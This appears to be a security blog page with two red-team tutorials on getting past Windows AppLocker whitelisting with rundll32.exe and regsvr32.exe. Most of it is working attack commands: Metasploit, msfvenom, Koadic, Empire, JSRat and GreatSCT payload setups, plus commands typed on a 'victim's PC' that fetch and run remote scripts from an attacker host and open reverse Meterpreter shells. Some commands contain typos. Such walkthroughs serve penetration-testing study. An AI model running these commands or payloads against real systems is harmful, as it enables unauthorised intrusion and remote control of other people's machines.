Showing posts with label redteam. Show all posts
Showing posts with label redteam. Show all posts

Bypass Application Whitelisting using rundll32.exe (Multiple Methods)


This purpose to write this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass.  As we know for security reason the system admin add group policies to restrict app execution for local user. In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they defines the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with RunDLL files.
Tables of Content
·         Introduction
·         Working of DLL files
·         Advantages
·         Disadvantages
·         Different methods for AppLocker Bypass using DLL files
·         Conclusion
Introduction
DLL files and their Importance for window’s OS to work and it also determines the working of other programs that customises your windows. Dynamic Link Library (DLL) files are the type of file which provides instructions to other programs on how to call upon certain things. Therefore, multiple software’s can share such DLL files, even simultaneously. In spite of being in the same format as .exe file, DLL files are not directly executable like .exe files. DLL file extensions can be : .dll(Dynamic Link Library), .OCX(ActiveX Controls), .CPL(Control Panel), .DRV(Device Drivers).
Working
When in use, DLL files are divided into sections. This makes working of DLL files easy and faster. Each section is installed in main program at run time. As each section is different and independent; load time is faster and is only done when the functionality of the said file is required. This ability also makes upgrades easier to apply without affecting other sections. For example: you have a dictionary program and new words are added every month, so for this all you have to do is update it; without requiring to install a whole another program for it.
Advantages
·         Uses fewer resources
·         Promotes modular architecture
·         Eases deployment and installation
Disadvantages
·         A dependent DLL is upgraded to a new version.
·         A dependent DLL is fixed.
·         A dependent DLL is overwritten with an earlier version.
·         A dependent DLL is removed from the computer.
Methods
·         Smb_Delivery
·         MSFVenom
·         Koadic
·         JSRat
So, our method is using smb_delivery. To use this method, open the terminal in kali and type the following commands ;
msfconsole
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107
msf exploit(windows/smb/smb_delivery) > exploit
Now run the malicious code through rundll32.exe in the windows machine to obtain meterpreter sessions.
As the above code will run, it will provide you with a command that is to be executed on the victim’s PC; in order to get a session. So copy and paste the said command in the run window of the victim’s PC as shown in the image below:
rundll3.exe \\192.168.1.107\ZtmW\test.dll,0
As soon as the command is executed, you will have your meterpreter session. To access the session type :
sessions 1
sysinfo
MSFVenom
Our second method is via MSFVenom. For the utilisation of this method, type the following command in the terminal of kali :
msfvenom -p windows/meterpreter.reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll
Once the payload is created, run the following command in the run window of victim’s PC:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll

Simultaneously, start the multi/handler to get a session by typing :
msfconsole
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

Koadic
Our next method is using Koadic framework. Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. To know more about Koadic please read our detailed articled on the said framework through this link: https://www.hackingarticles.in/koadic-com-command-control-framework
Once the koadic is up and running, type:
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
run

Running the exploit will give you a command. Copy that command from rundll32.exe to 6.0”) and paste it in the command prompt of the victims’ PC.
Once you run the command in the cmd, you will have your session. As shown in the following imgae.
To access the session type :
zombies 0
Now the dilemma is, what to do if command prompt is blocked in victim’s PC.
If the command line is blocked, there is script developed by Didier Stevens. You can find them in the following link :
By executing the above URL, you will download a zip file. Extract that zip file and use the following command to run the said file in run windows:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll

As soon as you run the command, you will have unblocked the cmd. As shown below:
JSRat
Our next method of attacking regsvr32 is by using JSRat and you can download it from github. This is another very small command and control framework just like koadic and Powershell Empire for generating malicious task only for rundll32.exe and regsvr32.exe. JSRat will create a webserver and on that webserver we will find our .sct file. To use this method type:
./JSRat.py -I 192.168.1.107 -p 4444
Once JSRat starts working, it will give you a link to open in browser. That webpage will have a code which is to be executed on the victim’s pc.
Therefore, open the http://192.168.1.107/wtf link in your browser. There you will find the said code as shown in the image below:
Run that code in the command prompt of the victims’ PC as shown:
And voila, you will have a session as the image below:

Conclusion
DLL files are collection of various codes and procedure held together. These files helps windows programs to execute accurately. These files were created for multiple programs to use them simultaneously. This technique helps in memory conservation. Therefore these files are important and required by windows to run properly without giving users any kind of problems. Hence, exploitation through such files is very efficient and lethal. And above presented methods are the different ways to do it.

Bypass Application Whitelisting using regsrv32.exe (Multiple Methods)


This purpose to write this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass.  As we know for security reason the system admin add group policies to restrict app execution for local user. In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they defines the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with regsvr32.exe.
Tables of content
·         Introduction to regsvr
·         Working of regsvr
·         Multiple  methods to attack regsvr
Introduction
Regsvr32 stands for Microsoft Register Server. It is a windows command-line utility tool. While regsvr32 causes problems sometimes; it’s an important file as its windows system file. The file is found in the subfolder of C:\Windows. This file is able to observe, track and influence other programs. It’s mainly used to register and unregister programs in windows. File extension for this is .exe and its process widely assists OLE (Object Linking and embedding), DLL (Data Link Libraries) and OCX (ActiveX control modules). The said process works in the background and can be seen via task manager. Its Microsoft's one of the trusted files.
Working
Information about programs associated with regsvr32 is added to windows, when you register a DLL file in regsvr32. These defences are then accessed to understand where the program data is and how to interact with it. As while registering a DLL file, information is added to central to directory so that it can be used by the windows. The whole path of these files literally has the executable code and due to this windows can call upon specific functions and use them to call executable code. These files are very convenient as when a software is updated, these file automatically call upon the updated version; in short it helps avoid the version problems of a software. Usually this file is not commonly used except for registering and unregistering DLL files.
RegSvr32.exe has the following command-line options:
Syntax: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] 
/u – Unregister server
/i – Call DllInstall passing it an optional [cmdline]; when it is used with /u, it calls dll uninstall
/n – do not call DllRegisterServer; this option must be used with /i
/s – Silent; display no message boxes

Multiple Methods
·         Web delivery
·         Empire
·         Manual
·         MSFVenom
·         Koadic
·         JSRat
·         GreatSCT
Web Delivery
This module quickly fires up a web server that serves a payload. The provided command which will allow for a payload to download and execute. It will do it either specified scripting language interpreter or “squiblydoo” via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection.
Regsvr32 uses “squiblydoo” technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request a .sct file and then execute the included PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. “PSH (Binary)” will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

Copy the highlighted text shown in below:


Once the exploit is running; you will have a URL made for you. Run that URL in the command prompt of the Victim’s PC as shown below:
regsvr32 /s /n /u /i:http://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll


Once you hit enter after the command, you will have your session. Type ‘sysinfo’ for the information of the PC as shown in the image below:



PowerShell Empire
For our next method of regsvr Attack we will use empire. Empire is a post-exploitation framework. Till now we have pairing our .sct tacks with metasploit but in this method we will use empire framework. It’s solely python based powershell windows agent which make it quite useful. Empire is developed by @harmj0y@sixdub@enigma0x3rvrsh3ll@killswitch_gui, and @xorrior. You can download this framework from https://github.com/EmpireProject/Empire.
To have a basic guide of Empire, please visit our article introducing empire à https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener, type :
uselistner http
execute
With the above commands, you will have an active listener. Type back to go out of listener so you can initiate your powershell.


Once you are out the listener, you need to use an exploit to create your malicious file. A stager, in empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. Which means to create an exploit, we will have to use stager. Therefore, type :
usestager windows/launcher_sct
set listener http
execute
After the execution of execute command, usestager will create a launcher.sct in /tmp. Now to get session start the python server by typing:
python -m SimpleHTTPServer 8080
As the server is on, the only step left is to execute our malware in the victim’s PC. For this, type the following command in the command prompt :
regsvr /s /n /u /i:http://192.168.1.109:8080/tmp/launcher.sct scrobj.dll
In the above command we have used port 8080 because our server of python is activated on the same port.


Once the above is executed as told, you will receive a session. To access the session type :
interact 9ATUX4M7
here,
9ATUX4M7 : is a agent/session name. this will vary from session to session.
Inject PowerShell code in sct File (Manual Method)
Our next method manual with a help of an exploit. The exploit we will use will help us to create a powershell code. So let’s first create our powershell and for this go to the terminal of kali and type :
After running this exploit, it will show you the powershell code on the terminal screen as shown in following image :
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

Copy the highlighted text shown in below:



Now we need to create .sct file in order for our attack to run. We found a script online to create a .sct file. You can access the link for the script by clicking  here. The script is shown in image below :


Copy the powershell code which was created by web_delivery and paste it in the above script where it says “calc.exe” as shown in the image below and then finally save it with .sct extension.


Then repeat above step to run .sct file with regsvr32.exe in the victim’s PC:
regsvr32 /u /n /s /i:http://192.168.1.109/1.sct scrobj.dll


As soon as the above command is executed, you will have your session through web_delivery. To access the sessioni type ‘sessions 1’ and ‘info’ to have basic information of the system.


MsfVenom
Our next method is to use msfvenom. Through this method we will create a two .sct, one to download our malware and another to execute it.  But first let’s get going with msfvenom and for that type :
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe


Start up the python server using following command:
python -m SimpleHTTPServer 80

And simultaneously, in the same script, used in the previous method inject certutil.exe command to call the shell.exe file from remote server. Therefore, instead of “calc .exe” write the following and save file again with .sct extension:
“certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe
We have used curtutil here as it allows to download a file in windows and also saved file as 3.sct.


Now, run the above script using following command:
regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll


We will create another file to execute our previous file “shell.exe”. For that again take the same script and where its written “calc.exe”; therefore write :
“cd /k cd c:\Users\raj & shell.exe”


This we have saved script as 4.sct and again run this script using the following command :
regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll


Side by side start up the multi handler too, to get a session. Hence, type :
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
After running the command in victim’s PC, u will have meterpreter session.


Koadic
Our next method is using Koadic. Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. To know more about Koadic please read our detailed articled on the said framework through this link: https://www.hackingarticles.in/koadic-com-command-control-framework
Once the koadic is up and running, type:
use stager/js/regsvr
set srvhost 192.168.1.107
run


After this, type the following in the command prompt of the victim’s:
regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll
Once you run the above command, you will have a session. To access the session type :
zombie 0


JSRat
Our next method of attacking regsvr32 is by using JSRat and you can download it from github. This is another very small command and control framework just like koadic and Powershell Empire for generating malicious task only for rundll32.exe and regsvr32.exe. JSRat will create a webserver and on that webserver we will find our .sct file. To use this method type:
./JSRat.py -I 192.168.1.107 -p 4444


Running the above command will start webserver.


Open this in your browser as shown below. Here, you will find the .sct file that you need to run on your victim’s PC.


As we have got the command, run the command in the run window as shown in the image below:


After executing the command in the run window you will have a session as shown:


GreatSCT
GreatSCT is tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from https://github.com/GreatSCT/GreatSCT
Once its downloaded and running, type the following command to access the modules :
use Bypass


Then type ‘list’  to get the list of modules.


List of modules will appear as shown in image below :


From the list of modules choose the following :
use regsvr/shellcode_iject/base64_migrate.py
generate


After the above commands, type 1 to choose MSFVenom



Then it will ask you for payload. Just press enter as it will take windows/meterpreter/reverse_tcp as a default payload and that is the one we need. After that provide IP like here we have given 192.168.1.107 and the give port (any) as here you can see in the image below that we have given lport as 2345


After giving the details, it will ask you a name for your malware. By defualt it will set name ‘payload’ so either your can give name or just press enter for the default settings.


And just as you press enter it will generate two files. One of then will a resource file ad other will be .sct file.


Now, firstly, start the python’s server in /usr/share/greatsct-output by typing :
python -m SimpleHTTPServer 80


Now execute the .sct file in the run window of the victim’s PC as shown below.


Simultaneously, start the multi/handler using recourse file. For this, type :
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And you have meterpreter session.


Conclusion
Using regsvr32 to gain a session is write unusual way but it’s very important. And so above mentioned methods uses different tools and software to allow us to perform this attack.